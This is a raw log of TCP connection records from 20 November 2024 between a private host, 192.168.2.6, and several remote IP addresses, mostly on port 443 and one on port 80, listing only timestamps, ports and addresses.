Nov 20, 2024 14:43:46.196371078 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.196398973 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.196458101 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.196458101 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.196460962 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.196491957 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.196517944 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.196573973 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.198721886 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.198740959 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.198755980 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.198857069 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.198877096 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.198918104 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.199413061 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.199428082 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.199441910 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.199461937 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.199491024 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.199501038 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.199551105 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.209542990 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.209584951 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.209589005 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.209599972 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.209618092 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.209636927 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.209642887 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.209682941 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.257591963 CET	49910	443	192.168.2.6	23.219.82.88
Nov 20, 2024 14:43:46.257622004 CET	443	49910	23.219.82.88	192.168.2.6
Nov 20, 2024 14:43:46.257862091 CET	49910	443	192.168.2.6	23.219.82.88
Nov 20, 2024 14:43:46.259661913 CET	49910	443	192.168.2.6	23.219.82.88
Nov 20, 2024 14:43:46.259673119 CET	443	49910	23.219.82.88	192.168.2.6
Nov 20, 2024 14:43:46.260509014 CET	49911	443	192.168.2.6	23.219.82.88
Nov 20, 2024 14:43:46.260555029 CET	443	49911	23.219.82.88	192.168.2.6
Nov 20, 2024 14:43:46.260626078 CET	49911	443	192.168.2.6	23.219.82.88
Nov 20, 2024 14:43:46.261835098 CET	49911	443	192.168.2.6	23.219.82.88
Nov 20, 2024 14:43:46.261862040 CET	443	49911	23.219.82.88	192.168.2.6
Nov 20, 2024 14:43:46.261887074 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.262056112 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.262137890 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.264909029 CET	49912	443	192.168.2.6	204.79.197.219
Nov 20, 2024 14:43:46.264969110 CET	443	49912	204.79.197.219	192.168.2.6
Nov 20, 2024 14:43:46.265207052 CET	49912	443	192.168.2.6	204.79.197.219
Nov 20, 2024 14:43:46.267142057 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.267159939 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.267194033 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.267199993 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.269439936 CET	49912	443	192.168.2.6	204.79.197.219
Nov 20, 2024 14:43:46.269475937 CET	443	49912	204.79.197.219	192.168.2.6
Nov 20, 2024 14:43:46.271145105 CET	49913	443	192.168.2.6	204.79.197.219
Nov 20, 2024 14:43:46.271173000 CET	443	49913	204.79.197.219	192.168.2.6
Nov 20, 2024 14:43:46.271521091 CET	49913	443	192.168.2.6	204.79.197.219
Nov 20, 2024 14:43:46.273154020 CET	49913	443	192.168.2.6	204.79.197.219
Nov 20, 2024 14:43:46.273169041 CET	443	49913	204.79.197.219	192.168.2.6
Nov 20, 2024 14:43:46.274203062 CET	49914	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.274236917 CET	443	49914	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.274409056 CET	49914	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.275495052 CET	49914	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.275510073 CET	443	49914	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.302845955 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.312550068 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:46.312594891 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:46.319973946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.338926077 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.339097023 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.339230061 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.348377943 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.348404884 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.348419905 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.348431110 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.349293947 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.350945950 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.350966930 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.352005959 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.352077961 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.353667974 CET	49915	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.353708982 CET	443	49915	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.353840113 CET	49915	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.356842041 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.356969118 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.363146067 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.363163948 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.367877007 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.367913008 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.368500948 CET	49915	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.368515015 CET	443	49915	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.387769938 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.387792110 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.387845039 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.387867928 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.387878895 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.387907028 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.388855934 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.388926029 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.388945103 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.388972998 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.388992071 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.389005899 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.395710945 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.395736933 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.395829916 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.395854950 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.396049023 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.415999889 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.416018009 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.416047096 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.416090012 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.416102886 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.416137934 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.416155100 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.429022074 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.429042101 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.429132938 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.429161072 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.429260969 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.431919098 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.431973934 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.432028055 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.432039022 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.432080984 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.432089090 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.439038992 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.439099073 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.439150095 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.439163923 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.439188957 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.439208984 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.439424992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.455236912 CET	49916	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.455295086 CET	443	49916	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.455570936 CET	49916	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.455894947 CET	49916	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.455928087 CET	443	49916	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.456522942 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.456542969 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.456605911 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.456613064 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.456665993 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.508214951 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.508582115 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.508594990 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.509519100 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.509588003 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.510271072 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.510325909 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.510605097 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.510610104 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.512516975 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.513448954 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.514307022 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.514313936 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.514497042 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.514530897 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.514702082 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.515137911 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.515664101 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.515872002 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.516089916 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.516153097 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.516350031 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.516386032 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.517488956 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.518369913 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.518383980 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.521920919 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.522017002 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.522377968 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.522547960 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.522567987 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.556581020 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.557015896 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.558593988 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.558620930 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.559334993 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.559341908 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.562335968 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.562416077 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.562813997 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.562952995 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.562963963 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.563334942 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.564687967 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.564707041 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.564801931 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.564824104 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.564914942 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.566818953 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.566876888 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.566925049 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.566945076 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.566975117 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.567035913 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.570918083 CET	49917	443	192.168.2.6	20.234.120.54
Nov 20, 2024 14:43:46.570985079 CET	443	49917	20.234.120.54	192.168.2.6
Nov 20, 2024 14:43:46.571623087 CET	49917	443	192.168.2.6	20.234.120.54
Nov 20, 2024 14:43:46.571990967 CET	49917	443	192.168.2.6	20.234.120.54
Nov 20, 2024 14:43:46.572022915 CET	443	49917	20.234.120.54	192.168.2.6
Nov 20, 2024 14:43:46.575046062 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.575109959 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.575148106 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.575156927 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.575212002 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.575212955 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.593395948 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.593444109 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.593508005 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.593559980 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.593595982 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.593782902 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.594007969 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.594033957 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.594079971 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.594098091 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.594126940 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.594408989 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.600378036 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.600430965 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.600480080 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.600486994 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.600534916 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.600560904 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.601114988 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.601119995 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.601242065 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.601248980 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.601298094 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.603337049 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.612421989 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.612437963 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.612554073 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.612575054 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.612790108 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.618421078 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.618488073 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.618511915 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.618527889 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.618542910 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.618566036 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.624533892 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.624588013 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.624639988 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.624649048 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.624676943 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.624695063 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.631910086 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.631936073 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.632000923 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.632009983 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.632169008 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.639570951 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.639866114 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.639930964 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.640703917 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.640719891 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.646050930 CET	49918	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.646081924 CET	443	49918	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.646166086 CET	49918	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.646332026 CET	49918	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.646348000 CET	443	49918	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.649835110 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.649854898 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.649940014 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.649957895 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.650101900 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.670834064 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.670921087 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.670959949 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.670968056 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.671000004 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.671016932 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.678917885 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.678936005 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.679018974 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.679044008 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.679117918 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.685146093 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.685194969 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.691348076 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.691910028 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.731333017 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.731421947 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.745277882 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.745309114 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.781255960 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.781327009 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.781375885 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.781400919 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.781430960 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.781614065 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.781950951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.781964064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.782027960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.782470942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.782572031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.782593966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.782644987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.782665968 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:46.783009052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.783020973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.783056974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.783072948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.783375978 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:46.783409119 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:46.783761024 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:46.783881903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.783894062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.783935070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.783971071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.784279108 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:46.784348965 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:46.784481049 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:46.784655094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.784816027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.784881115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.785475016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.785969973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.786045074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.789521933 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.789580107 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.789633036 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.789654016 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.789678097 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.789696932 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.791210890 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.791259050 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.791320086 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.791330099 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.791361094 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.791372061 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.798167944 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.798207045 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.798259020 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.798276901 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.798304081 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.798444986 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.805305004 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.805320978 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.805418968 CET	49891	443	192.168.2.6	150.171.27.10
